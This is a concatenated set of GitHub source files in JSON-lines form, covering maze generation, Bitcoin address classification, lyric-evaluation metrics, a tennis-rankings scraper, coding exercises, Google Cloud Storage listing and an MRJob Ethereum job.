return inn\n\n def newGen(self):\n for i in range(self.genSize):\n self.merge(i)\n self.generation = self.genX\n self.genSize = len(self.generation)\n self.genX = []\n self.genNum += 1\n\n def pull(self):\n #will return a maze from current generation\n j = self.generation[self.pullNum].maze\n print(self.generation[self.pullNum].farP)\n self.pullNum += 1\n return j\n\n def upState(self, stat): # takes the current state and makes it one higher or cycles around\n h = {4: 0, 0: 1, 1: 2, 2: 3, 3: 0}\n return h[stat]\n","repo_name":"TimFanelle/Maze_Generation","sub_path":"outed/chromo.py","file_name":"chromo.py","file_ext":"py","file_size_in_byte":14207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38134547636","text":"class Type:\n\tsingle_use = \"single_use\"\n\thot_storage = \"hot_storage\"\n\tcold_storage = \"cold_storage\"\n\tmining_pool = \"mining_pool\"\n\tmining_solo = \"mining_solo\"\n\tfaucet = \"faucet\"\n\tdistributor = \"distributor\"\n\n\tunknown = \"unknown\"\n\nclass PredicatesC:\n\n\tdef has_mined(self, address):\n\t\t\"\"\"\n\t\treturns\n\t\t\t0 never directly mined\n\t\t\t1 mined an entire block\n\t\t\t2 jointly mined a block\n\t\t\"\"\"\n\t\tfor tx in address.tx:\n\t\t\tif len(tx.inputs) == 0:\n\t\t\t\tif len(tx.outputs) == 1:\n\t\t\t\t\treturn 1\n\t\t\t\telse:\n\t\t\t\t\treturn 2\n\t\treturn 0\n\n\tdef tx_balance(self, address):\n\t\t\"\"\"\n\t\treturns txs paying in / txs paying out\n\t\t\"\"\"\n\t\tin_count = 0.0\n\t\tout_count = 0.0\n\t\tfor tx in address.tx:\n\t\t\tif tx.address_balance(address.address) > 0:\n\t\t\t\tin_count += 1\n\t\t\telse:\n\t\t\t\tout_count += 1\n\n\t\tif out_count == 0:\n\t\t\treturn (10000, in_count, 0)\n\t\treturn (in_count / out_count, in_count, out_count)\n\n\tdef outputs_balance(self, address):\n\t\t\"\"\"\n\t\treturns number of outputs paying in / number of outputs paying out\n\t\t\"\"\"\n\t\tin_count = 0.0\n\t\tout_count = 0.0\n\t\tfor tx in address.tx:\n\t\t\tif tx.address_balance(address.address) > 0:\n\t\t\t\tin_count += len(tx.inputs)\n\t\t\telse:\n\t\t\t\tout_count += len(tx.outputs)\n\n\t\tif out_count == 0:\n\t\t\treturn (10000, in_count, 0)\n\t\treturn (in_count / out_count, in_count, out_count)\n\n\tdef pays_with_others(self,address):\n\t\t\"\"\"\n\t\treturns whether transactions have been sent using this address and another\n\t\t\"\"\"\n\t\tfor tx in address.tx:\n\t\t\ti = set(map(lambda a:a[0], tx.inputs))\n\t\t\tif address.address in i and len(i) > 1:\n\t\t\t\treturn True\n\t\treturn False\n\n\tdef total_satoshimilliseconds(self,address):\n\t\t\"\"\"\n\t\treturns total satoshi-milliseconds\n\t\t\"\"\"\n\t\tt = 0\n\t\tholding = 0\n\t\tsm = 0\n\t\tfor tx in address.tx[::-1]:\n\t\t\tsm += holding * (tx.time - t)\n\t\t\tt = tx.time\n\t\t\tholding += tx.address_balance(address.address)\n\t\treturn sm\n\n\tdef average_payout_per_output(self,address):\n\t\tall_out = 0.0\n\t\tnum_outputs = 0.0\n\t\tfor tx in address.tx:\n\t\t\tb = tx.address_balance(address.address)\n\t\t\tif b < 0:\n\t\t\t\tall_out += abs(b)\n\t\t\t\tnum_outputs += len(tx.outputs)\n\t\tif num_outputs == 0:\n\t\t\treturn 10000\n\t\treturn all_out / num_outputs\n\nPredicates = PredicatesC()\npredicates = [Predicates.has_mined,\n\t\t\t\tPredicates.tx_balance,\n\t\t\t\tPredicates.outputs_balance,\n\t\t\t\tPredicates.pays_with_others,\n\t\t\t\tPredicates.total_satoshimilliseconds,\n\t\t\t\tPredicates.average_payout_per_output]\n\ndef extract_features(address):\n\n\treturn map(lambda a:a(address), predicates)\n\ndef decision_tree(address):\n\n\tm = Predicates.has_mined(address)\n\n\tif m == 1:\n\t\treturn Type.mining_solo\n\telif m == 2:\n\t\treturn Type.mining_pool\n\telse:\n\t\ttx_b = Predicates.tx_balance(address)\n\t\tout_b = Predicates.outputs_balance(address)\n\t\tpaying_with_friends = Predicates.pays_with_others(address)\n\t\tavg_out = Predicates.average_payout_per_output(address)\n\n\t\tif tx_b[0] == 1 and tx_b[1] == 1 and not paying_with_friends:\n\t\t\treturn Type.single_use\n\t\telse:\n\n\t\t\tif len(address.tx) > 10 and out_b[0] < 0.4: #more than 4x tx sending than receiving\n\t\t\t\tif avg_out < 100000:\n\t\t\t\t\treturn Type.faucet\n\t\t\t\telse:\n\t\t\t\t\treturn Type.distributor\n\t\t\telif out_b[0] == 10000 or (out_b[0] > 2 and tx_b[0] > 2 and address.get_balance() == 0):\n\t\t\t\treturn Type.cold_storage\n\n\t\t\telse:\n\t\t\t\treturn Type.hot_storage\t\n\t\t\t\n\t\t\t#\tPredicates.total_satoshimilliseconds\n\ndef tests():\n\t# 13x9weHkPTFL2TogQJz7LbpEsvpQJ1dxfa -> faucet\n\t# 1Fd5WNvXE3nx9W9nr3gWzuEqELH9R4xGmZ -> solo_mine\n\t# 1CwrK8GTwq4eQYZwTxMpL271Bpj7Zu3PUQ -> distribute\n\t# 15oJJjhvC3Ft3UZSG4RXpUfHdLzXR4PLAe -> single_use\n\t# 1BuLgRGJdZzCfkWaKcxiTEL1ASqTFjt2Wf -> hot_storage\n\t# 1RCodeej35kS9rGMG7HsbZmB4U8n6mg7D -> mining_pool\n\tpass\n\ndef classify(address):\n\n\t#features = extract_features(address)\n\n\treturn decision_tree(address)","repo_name":"gcarling/blockchain_analysis","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":3660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10533452999","text":"\nimport pickle\nimport numpy as np\nimport nltk\nfrom nltk.translate import bleu_score \nfrom collections import Counter\nfrom collections import defaultdict\nimport string\nimport copy\n#!pip install pronouncing\nimport pronouncing\nimport numpy as np\n#import os\nimport glob\nimport csv\n\nnltk.download('punkt')\nnltk.download('averaged_perceptron_tagger')\n\n### Trigram perplexity\n\ndef load_model(file_name):\n '''input file name (without extention)'''\n # load model\n m1_pkl = open(\"../data/models/\" + file_name + \".pkl\", \"rb\")\n model = pickle.load(m1_pkl)\n m1_pkl.close()\n return model\n \n \ndef get_entropy(text, model, _n=3, _lpad = ['<s>'], _rpad = ['<s>']):\n ''' calculate average log probability of each word in text, given context\n \n IMPORTANT NOTE: For initial implementation, we do not have bigram or unigram prob in our dict 'model',\n and this handles missing or unknown entries naively\n '''\n \n e = 0.0\n padded_string = \"<s> \" + example1 + \" <s>\"\n text = padded_string.split(' ')\n for i in range(_n - 1, len(text)):\n context = tuple(text[i - _n + 1:i])\n token = text[i]\n #print(context,token)\n #print(e)\n e += -np.log2(model.get(context,dict()).get(token,0.0000001)) # this is a poor placeholder until we get backoff dicts\n entropy = e / float(len(text) - (_n - 1))\n return entropy\n\ndef get_perplexity(text, model, _n = 3, _lpad = ['<s>'], _rpad = ['<s>']):\n return np.power(2,get_entropy(text=text, model=model , _n=_n, _lpad=_lpad, _rpad=_rpad))\n\n\n### some basic preprocessing techniques\ndef prepString(s):\n '''removes punctuation other than apostrophes from string'''\n return str(s).lower().translate({ord(c): None for c in string.punctuation if c not in (\"'\")})\n\ndef removePunc(s):\n '''removes punctuation from string'''\n return str(s).lower().translate({ord(c): None for c in string.punctuation})\n\ndef removeMarkupWords(s):\n '''removes positional words generated in lyrics'''\n s = str(s).lower()\n for term in ['xeol','xbol','xeos','xbos','[verse-1]','[verse-2]','[chorus]']:\n s = str(s).replace(term,'')\n return s \n \n\n### POS tagging\n\n# POS tagging and aggregation to % of text\ndef nltkPOS(text,verbose=False):\n '''For an input text, return absolute difference from published proportions, between 0 and 1.'''\n \n # define lookups\n mapping = {'CC':'CC','DT':'DT','PDT':'DT','WDT':'DT','IN':'IN','JJ':'JJ','JJR':'JJ','JJS':'JJ'\n ,'NN':'NN','NNS':'NN','NNP':'NN','NNPS':'NN','LS':'OT','CD':'OT','EX':'OT','FW':'OT'\n ,'POS':'OT','UH':'OT','RB':'RB','RBR':'RB','RBS':'RB','WRB':'RB','TO':'TO','MD':'VB'\n ,'RP':'VB','VB':'VB','VBD':'VB','VBG':'VB','VBN':'VB','VBP':'VB','VBZ':'VB','PRP':'WP'\n ,'PRP$':'WP','WP':'WP','WP$':'WP'}\n comp_dict = {'CC':0.0212,'DT':0.0982,'IN':0.0998,'JJ':0.0613,'NN':0.3051,'RB':0.0766,'TO':0.0351\n ,'VB':0.285,'WP':0.0058,'OT':0.012}\n\n # initialize\n pos_cnt = Counter()\n total_word_cnt = 0\n pos_dict = defaultdict(float) \n pos_dict['adjustment'] = 0\n absdiff = 0\n \n # prepare data \n text = prepString(removeMarkupWords(text))\n tokenized_text = nltk.word_tokenize(text)\n tag_list = nltk.pos_tag(tokenized_text)\n \n if not tag_list:\n raise ValueError(\"Please provide more complete text\")\n \n # initial proportions\n for t in tag_list:\n pos_cnt[t[1]] +=1\n total_word_cnt +=1\n pos_raw_dict = {k: v/float(total_word_cnt) for k,v in dict(pos_cnt).items()}\n \n # adjust for items missing in mapping (mostly punctuation) \n for k,v in pos_raw_dict.items():\n if k in mapping:\n pos_dict[mapping[k]] += v \n else:\n pos_dict['adjustment'] += v\n for k,v in pos_dict.items():\n pos_dict[k] = pos_dict[k]/(1-pos_dict['adjustment'])\n del pos_dict['adjustment']\n \n # compare to observed ratios, calculate absolute difference\n for k in comp_dict.keys():\n absdiff += abs(comp_dict[k] - pos_dict.get(k,0))\n if verbose==True: \n print(k,\"- benchmark:\",comp_dict[k],\", text:\",pos_dict.get(k,0),\"abs diff:\",abs(comp_dict[k] - pos_dict.get(k,0)))\n return absdiff\n\n\n### Rhyme\n \n \n# calculate rhyme density\n# calculate rhyme density. Hopeful enhancements include:\n# 1) extending rhymeType\n# 2) adding text-to-phoneme and applying for tokens not in CMU dictionary\n# 3) improving the calculation by taking into consideration probability of rhymes\n# 4) removing repeat tokens from consideration to avoid rewarding repeated words\n\ndef calcRhymeDensity(text,rhymeType='perfect',rhymeLocation='all',lineStartStop=(1,-2),printExamples=False):\n '''calculates rhyme density (count of rhymes over n-1 words). \\n\\n\n \n _parameters_\n text: input text for measurement\n rhymeType: 'perfect' is a perfect rhyme, 'vowel' is a rhyming in the vowel sound + stress only\n rhymeLocation: choose to look at 'all' text, 'section' by line numbers, or 'end' (last word in each line) \n lineStartStop: tuple of (start,stop) line numbers\n printExamples: if True, print most common values of the selected rhymeType\n \n _returns_\n rhyme_cnt: count of rhymes of specified rhymeType and rhymeLocation\n wordCount: count of words of specified rhymeType and rhymeLocation\n rhymeDensity: rhyme_cnt/float(wordCount-1)\n '''\n # restrict location to (end=last word, internal line = line, all= full text)\n # count tokens\n # \n \n # initialize\n rhymePart_cnt = Counter()\n rhyme_cnt = 0\n \n # prepare data\n text = prepString(removeMarkupWords(text))\n \n if rhymeLocation == 'all':\n words = text.split()\n \n if rhymeLocation == 'end':\n lines = text.split(\"\\n\")\n words = [line.split()[-1] for line in lines if len(line.split())>0]\n \n if rhymeLocation == 'section':\n lines = text.split(\"\\n\")\n words = [line.split()[-1] for line in lines[lineStartStop[0]:lineStartStop[1]+1] if len(line.split())>0]\n \n # \n wordCount = len(words)\n #print(words)\n for word in words:\n pros = pronouncing.phones_for_word(word)\n if pros: \n phonelist = pros[0] #using first pronunciation for now\n if len(phonelist) > 0:\n if rhymeType == 'perfect':\n rhymePart_cnt[pronouncing.rhyming_part(phonelist)] +=1\n\n #if rhymeType == 'rime':\n # pass\n #if rhymeType == 'soft':\n # pass\n #if rhymeType == 'consonant':\n # pass\n\n elif rhymeType == 'vowel':\n rhymePart_cnt[pronouncing.rhyming_part(phonelist).split()[0]] +=1\n \n for v in rhymePart_cnt.values():\n rhyme_cnt += v-1\n \n if wordCount>1: \n rhymeDensity = rhyme_cnt/float(wordCount-1)\n else:\n rhymeDensity = 0.0\n \n if printExamples == True:\n print(rhymePart_cnt.most_common(5))\n \n return rhymeDensity, rhyme_cnt, wordCount\n\n \n### BLEU\n\ndef bleu(ref_list,candidateText,nGram=4,nGramType='cumulative',shouldSmooth=True):\n '''calculates BLEU score \n \n _parameters_\n ref_list: expects a list of reference texts to compare (as strings)\n candidateText: the new text needing to be scored\n nGram: choose between 1-4. Determines which ngram(s) to use in the scoring\n nGramType: 'cumulative' uses a simple average of all ngrams from 1 to nGram\n shouldSmooth: if False, calculates the BLEU score without smoothing. Recommended to use smoothing (set to True)\n \n _returns_\n score: BLEU score using nGram settings input, smoothed by default (can be turned off)\n '''\n \n # basic checks\n if nGram not in [1,2,3,4]:\n raise ValueError('nGram must be between 1 and 4')\n \n if nGramType not in ['cumulative','exclusive']:\n raise ValueError('nGramType must either be cumulative (average of nGrams less than n) or exclusive (1=unigram, etc.)')\n \n # pre-score\n weight_dict = {('cumulative',1):(1,0,0,0)\n ,('cumulative',2):(.5,.5,0,0)\n ,('cumulative',3):(.3333,.3333,.3333,0)\n ,('cumulative',4):(.25,.25,.25,.25)\n ,('exclusive',1):(1,0,0,0)\n ,('exclusive',2):(0,1,0,0)\n ,('exclusive',3):(0,0,1,0)\n ,('exclusive',4):(0,0,0,1)}\n candidate = [removePunc(str(removeMarkupWords(candidateText))).split()]\n references = [[removePunc(str(removeMarkupWords(ref))).split() for ref in ref_list]]\n weights = weight_dict[(nGramType,nGram)]\n \n \n # scoring\n if shouldSmooth==True:\n smoother = bleu_score.SmoothingFunction().method7\n else:\n smoother = None\n score = bleu_score.corpus_bleu(references, candidate, weights, smoothing_function=smoother)\n #print(score)\n return score\n\n\n### Meter\n\ndef findLineStress(line):\n '''find accentual stress of a given line, based on CMU dict. Still a bit unclever.\n \n _parameters_\n line: line of text\n \n _returns_\n parselist: list of potential stresses after parsing. 0 is unstressed, 1 is primary stress, 2 is secondary stress (middle)\n syllableLengths: list of syllable lengths corresponding to the parses in parselist\n wordCount: count of words in the line \n '''\n line = prepString(removeMarkupWords(line))\n words = line.split()\n wordCount = len(words)\n parses = ['']\n for word in words:\n pros = pronouncing.phones_for_word(word)\n if pros:\n for phonelist in [pronouncing.phones_for_word(word)]: \n stressOptions = copy.deepcopy(parses)\n currLen = len(parses)\n newparse = []\n # I don't really need to loop through pronunciations, just distinct stress patterns, so a little inefficient here\n for pronunciation in phonelist:\n wordStress = pronouncing.stresses(pronunciation)\n for option in range(currLen):\n newparse.append(''+str(stressOptions[option]) + str(wordStress))\n parses = newparse \n\n return list(set(parses)), [len(parse) for parse in list(set(parses))], wordCount\n\n\ndef levenshtein(s1, s2):\n '''calculate levenshtein distance for two input strings\n \n _parameters_\n s1: first input string\n s2: second input string\n \n _returns_\n distance: levenshtein distance between two strings...that is, the lowest number of modifications to turn s1 into s2\n '''\n s1 = str(s1)\n s2 = str(s2)\n \n if len(s1) < len(s2):\n return levenshtein(s2, s1)\n\n # otherwise len(s1) >= len(s2)\n if len(s2) == 0:\n return len(s1)\n\n previous_row = range(len(s2) + 1)\n for i, c1 in enumerate(s1):\n current_row = [i + 1]\n for j, c2 in enumerate(s2):\n insertions = previous_row[j + 1] + 1 # j+1 instead of j since previous_row and current_row are one character longer\n deletions = current_row[j] + 1 # than s2\n substitutions = previous_row[j] + (c1 != c2)\n current_row.append(min(insertions, deletions, substitutions))\n previous_row = current_row\n \n return previous_row[-1]\n \ndef findMeter(text):\n '''finds meter with smallest edit distance\n \n _parameters_\n text: input text, usually a poem of some kind\n \n _returns_\n lowest: lowest edit distance for any standard accentual-syllabic verse\n options: list of potential meters for the lowest edit distance.\n '''\n # define\n meter_dict = {'0101':'Iambic dimeter'\n ,'010101':'Iambic trimeter'\n ,'01010101':'Iambic tetrameter'\n ,'0101010101':'Iambic pentameter'\n ,'010101010101':'Iambic hexameter'\n ,'01010101010101':'Iambic heptameter'\n ,'0101010101010101':'Iambic octameter'\n ,'1010':'Trochaic dimeter'\n ,'101010':'Trochaic trimeter'\n ,'10101010':'Trochaic tetrameter'\n ,'1010101010':'Trochaic pentameter'\n ,'101010101010':'Trochaic hexameter'\n ,'10101010101010':'Trochaic heptameter'\n ,'1010101010101010':'Trochaic octameter'\n ,'001001':'Anapestic dimeter'\n ,'001001001':'Anapestic trimeter'\n ,'001001001001':'Anapestic tetrameter'\n ,'001001001001001':'Anapestic pentameter'\n ,'001001001001001001':'Anapestic hexameter'\n ,'001001001001001001001':'Anapestic heptameter'\n ,'100100':'Dactyllic dimeter'\n ,'100100100':'Dactyllic trimeter'\n ,'100100100100':'Dactyllic tetrameter'\n ,'100100100100100':'Dactyllic pentameter'\n ,'100100100100100100':'Dactyllic hexameter'\n ,'100100100100100100100':'Dactyllic heptameter'}\n\n # initialize\n vote_cnt = Counter()\n text = prepString(removeMarkupWords(text))\n lines = text.split('\\n')\n line_cnt = len(lines)\n minDist = 999\n \n # update distances\n for line in lines:\n for k,v in meter_dict.items():\n minDist = 999\n for reading in findLineStress(line)[0]:\n dist = levenshtein(k,reading)\n if dist < minDist:\n minDist = dist \n vote_cnt[v] += minDist\n \n #options = min(vote_cnt, key=vote_cnt.get) #chooses one in the event of ties\n lowest = min(vote_cnt.values()) \n options = [k for k,v in vote_cnt.items() if v==lowest]\n return lowest, options, line_cnt, lowest/float(line_cnt) #, vote_cnt\n\n\n\n\n\n","repo_name":"jrosenfeld13/capstone-deep-lyrics","sub_path":"src/nlp/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":13923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"23876912799","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom atp.webscraper.util import parse_rank_table, load_header\nimport pandas as pd\nimport os\nrank_history_header = load_header(os.path.join(os.path.dirname(__file__), 'rank_history_df.json'))\nplayer_list_header = load_header(os.path.join(os.path.dirname(__file__), 'player_list_df.json'))\n\n\n\ndef parse_player_rank_history(url):\n \"\"\"\n :param url: atp player raking history page url\n :return:\n \"\"\"\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n rs = soup.find('div', attrs = {'id': 'playerRankHistoryContainer'})\n tb = rs.find('tbody').find_all('tr')\n mat = [[parse_rank_table(d.text.strip()) for d in row.find_all('td')] for row in tb]\n name = url.split('/')[-3].replace('-', ' ').title()\n return name, pd.DataFrame.from_records(mat, columns = rank_history_header)\n\n\ndef parse_singles_player_list(url = r'https://www.atpworldtour.com/en/rankings/singles'):\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n rs = soup.find('div', attrs={'id': 'rankingDetailAjaxContainer'})\n tb = rs.find('tbody').find_all('tr')\n mat = [[d.text, d['href'], '/'.join(d['href'].split('/')[:-1] + ['rankings-history'])]\n for row in tb for d in row.find('td', attrs = {'class': 'player-cell'}).find_all('a')]\n return pd.DataFrame.from_records(mat, columns = player_list_header)\n\n\nif __name__ == '__main__':\n # url = r'http://www.atpworldtour.com/en/players/rafael-nadal/n409/rankings-history'\n # print (parse_player_rank_history(url))\n\n url = r'https://www.atpworldtour.com/en/rankings/singles'\n player_list = parse_singles_player_list(url)\n atp_url = r'https://www.atpworldtour.com'\n name, df = parse_player_rank_history(atp_url + player_list['ranking_history_link'][0])\n print(df)\n print(name)\n","repo_name":"Han-Burger/ATP","sub_path":"atp/webscraper/webscraper.py","file_name":"webscraper.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19333962785","text":"import web\nimport terminal\n\nif __name__ == '__main__':\n opcao=input('Opção [j/c/t]: ').lower()[0]\n\n if opcao == 'j':\n web.socket.run(web.app, debug=True)\n if opcao == 'c':\n terminal.socket.connect('http://localhost:3000')\n while True:\n usr = input('Digite seu nome:')\n msg = input('Digite sua mensagem:')\n mensagem = {\n 'usuario': usr,\n 'mensagem': msg\n }\n terminal.sendMessage(mensagem)\n\n continuar = input('Continuar [s/n]: ').lower()[0]\n if continuar == 'n':\n terminal.socket.disconnect()\n break\n terminal.socket.wait()\n\n else:\n print('Terminado!')\n","repo_name":"gusleaooliveira/sd-frontend","sub_path":"cliente.py","file_name":"cliente.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34424814296","text":"# 최대공약수와 최소공배수\nn,m = map(int,input().split())\n\n# 유클리드호제법\ndef gcd(n,m):\n if m == 0:\n return n\n return gcd(m, n%m)\n\nprint(gcd(n,m), n*m//gcd(n,m))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# #최대공약수\n# GCD = 1\n# #최소공배수\n# LCM = 1\n\n# #나눌 수\n# div = 2\n\n# while True:\n# if n % div == 0 and m % div == 0:\n# LCM *= div\n\n# elif n % div != 0 or m % div != 0:\n# div += 1\n \n# elif div >= n or div >= m:\n# break\n\n# print(LCM, GCD)\n \n","repo_name":"gwonihan/TIL","sub_path":"Algorithm/스터디/백준/level2/boj_2609.py","file_name":"boj_2609.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"19648361981","text":"import sys\nfrom google.cloud import storage\n\ndef get_storage_client():\n return storage.Client()\n\ndef list_blobs(bucket_name):\n \"\"\"Lists all the blobs in the bucket.\"\"\"\n # Note: Client.list_blobs requires at least package version 1.17.0.\n blobs = get_storage_client().list_blobs(bucket_name)\n\n for blob in blobs:\n print(blob.name)\n\ndef remove_object_from_bucket(bucket_name, blob_name):\n pass\n\ndef upload_object_to_bucket(bucket_name, destination_blob_name, source_file_name):\n bucket = get_storage_client().get_bucket(bucket_name)\n blob = bucket.blob(destination_blob_name)\n\n blob.upload_from_filename(source_file_name)\n\n print('File {} uploaded to {}.'.format(\n source_file_name,\n destination_blob_name))\n\nif __name__ == \"__main__\":\n try:\n bucket_name = str(sys.argv[1])\n if bucket_name:\n list_blobs(bucket_name)\n except: \n print(\"list_bucket.py <<bucket_name>>\")\n \n ","repo_name":"KrishnanSriram/gcloud","sub_path":"CloudStorage/list_bucket.py","file_name":"list_bucket.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12293899227","text":"k, n = map(int, input().split())\nnlist = [int(input()) for _ in range(k)]\nnlist.sort()\n\nstart = 1\nend = max(nlist)\nres = 0\n\nwhile start <= end:\n cnt = 0\n mid = (start + end)//2\n\n for x in range(k):\n cnt += (nlist[x])//mid \n\n if cnt < n: \n end = mid-1\n\n elif cnt >= n:\n res = mid\n start = mid + 1\n\nprint(res)\n ","repo_name":"jhan756k/Algorithm","sub_path":"Study/인프런 파이썬 알고리즘/섹션 4/2. 랜선자르기/AA.py","file_name":"AA.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31905992521","text":"from typing import Optional\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\nclass Solution:\n def kthSmallest(self, root: Optional[TreeNode], k: int) -> int:\n def dfs(root):\n if root is None:\n return []\n ret = []\n ret += dfs(root.left)\n ret.append(root.val)\n ret += dfs(root.right)\n return ret\n ret = dfs(root)\n return ret[k-1]\na = Solution()\nb = a.kthSmallest(TreeNode(3),1)","repo_name":"H-Maktub/leetcode","sub_path":"题库_python/230.py","file_name":"230.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40045225046","text":"\nfrom mrjob.job import MRJob\n\nclass partB2(MRJob):\n def mapper(self, _, line):\n try:\n if(len(line.split('\\t'))==2):\n fields=line.split('\\t')\n join_key = fields[0].strip('\"\\\"\\\\\\\"')\n join_value= int(fields[1])\n \n yield (join_key, join_value)\n\n elif len(line.split(',')) == 5:\n fields = line.split(',')\n join_key = fields[0].strip('\"\\\"\\\\\\\"')\n yield(join_key,(join_val,2))\n\n except:\n pass\n #do nothing\n def reducer_sum(self, company, values):\n years = []\n sector = 0\n\n for value in values:\n if value[1]==1:\n sector=value[0]\n elif value[1]==2:\n years.append(value[0])\n if sector > 0 and len(years) != 0:\n yield (company, sector)\n\nif __name__ == '__main__':\n partB2.JOBCONF= {'mapreduce.job.reduces': '10' }\n partB2.run()\n\n","repo_name":"haych-hub/Big-Data-Science---Etherum-Analysis","sub_path":"part-b2.py","file_name":"part-b2.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7714887082","text":"import networkx as nx\n\n\ndef built_more_nodes(G: nx.Graph, node1: int, node2: int, u: int) -> None:\n \"\"\"\n функция создает u ребер и u-1 вершин, чтобы создать путь между node1, node2, изменяя исходный граф\n \n Args:\n ------\n G: nx.Graph - исходный граф содержащий node1, node2\n node1: int - начало пути\n node2: int - конец пути\n u: int - длина пути(количество ребер)\n Returns:\n ------ \n None\n Examples:\n ------\n G = nx.Graph()\n G.add_edge(0,1)\n built_more_nodes(G, 0, 1, 3)\n G.edges\n \"\"\"\n\n nodes = list(G.nodes) # список из вершин\n max_node = max(nodes) + 1 # следующая вершина\n cur_node = node1\n \n for i in range(u - 1):\n G.add_edge(cur_node, max_node) # связь между текущей вершиной и новой\n cur_node = max_node # обновление текущей вершины\n max_node += 1\n \n G.add_edge(cur_node, node2) # замыкающая связь\n \ndef flower_uv(u: int, v: int, n: int) -> nx.Graph:\n \"\"\"\n функция создает граф состоящий из путей длинны u,v, между вершинами соединенными ребром \n \n Args:\n ------ \n u: int длина 1 пути при замене связи\n v: int длина 2 пути при замене связи\n n: int количество шагов построения\n \n Returns:\n ------ \n nx.Graph\n \n Examples:\n -------\n G = flower_uv(1, 2, 3)\n nx.draw(G)\n \"\"\"\n G = nx.Graph()\n G.add_edge(0, 1)\n\n for i in range(n):\n edges = list(G.edges) # ребра на данный момент\n \n for edge in edges:\n G.remove_edge(*edge) # удаляем имеющуюся связь\n built_more_nodes(G, edge[0], edge[1], u) # новый путь длины u\n built_more_nodes(G, edge[0], edge[1], v) # новый путь длины v\n\n return G\n \nif __name__ == \"__main__\":\n \n G = flower_uv(1, 2, 3)\n nx.draw(G)\n","repo_name":"tsoiadelina/Graph","sub_path":"algorithms/flover_uv.py","file_name":"flover_uv.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"ru","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"13093542142","text":"#\n# @lc app=leetcode id=116 lang=python3\n#\n# [116] Populating Next Right Pointers in Each Node\n#\n\n# @lc code=start\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val: int = 0, left: 'Node' = None, right: 'Node' = None, next: 'Node' = None):\n self.val = val\n self.left = left\n self.right = right\n self.next = next\n\"\"\"\n\n\nfrom typing import Optional\n\n\nclass Solution:\n def BFS(self, root: 'Optional[Node]') -> 'Optional[Node]':\n \"\"\" Strategy 1: BFS\n Runtime: O(n), where n is the # of nodes in the tree\n Space:O(n)\n\n Returns:\n [Node]: the root of the connected tree\n \"\"\"\n if not root:\n return root\n\n q = [root]\n\n while q:\n size = len(q)\n for i in range(size):\n node = q.pop(0)\n if i < size - 1:\n node.next = q[0]\n\n if node.left:\n q.append(node.left)\n\n if node.right:\n q.append(node.right)\n return root\n\n def previousEstablishedNextPointer(self, root: 'Optional[Node]') \\\n -> 'Optional[Node]':\n \"\"\"Strategy 2: Using previousEstablishedNextPointer\n Runtime:O(n)\n Space:O(1)\n\n Returns:\n [type]: the connected root of the tree\n \"\"\"\n if not root:\n return root\n\n left_most = root\n\n while left_most.left:\n head = left_most\n while head:\n head.left.next = head.right\n if head.next:\n head.right.next = head.next.left\n head = head.next\n left_most = left_most.left\n return root\n\n def connect(self, root: 'Optional[Node]') -> 'Optional[Node]':\n return self.previousEstablishedNextPointer(root)\n # @lc code=end\n","repo_name":"SegFault2017/LeetCode2021-2022","sub_path":"python/116.populating-next-right-pointers-in-each-node.py","file_name":"116.populating-next-right-pointers-in-each-node.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1244562766","text":"import math\n\n\ndef main_delta():\n a = float(input(\"Digite o valor de a: \"))\n b = float(input(\"Digite o valor de b: \"))\n c = float(input(\"Digite o valor de c: \"))\n imprime_raizes(a, b, c)\n\n\ndef delta(a, b, c):\n return b ** 2 - 4 * a * c\n\n\ndef imprime_raizes(a, b, c):\n delta_func = delta(a, b, c)\n if delta_func == 0:\n raiz1 = (-b + math.sqrt(delta_func)) / (2 * a)\n print(\"A única raiz é:\", raiz1)\n else:\n if delta_func < 0:\n print(\"Esta equação não possui raízes reais\")\n else:\n raiz1 = (-b + math.sqrt(delta_func)) / (2 * a)\n raiz2 = (-b - math.sqrt(delta_func)) / (2 * a)\n print(\"Raiz 1 = \", raiz1)\n print(\"Raiz 2 = \", raiz2)\n\n\nmain_delta()\nprint(\"Raiz: \", delta(5, 20, 5))\n","repo_name":"diegosena7/CC-Python","sub_path":"exercicios/RaizDeDelta.py","file_name":"RaizDeDelta.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"19803367851","text":"# -1 wisdom, +1 charisma\nclass adventurer:\n def __init__(self, name, race, charClass, health, attack, atkRange, moves=[None, None, None], nickname=None):\n self.name = name\n self.nick = name if nickname == None else 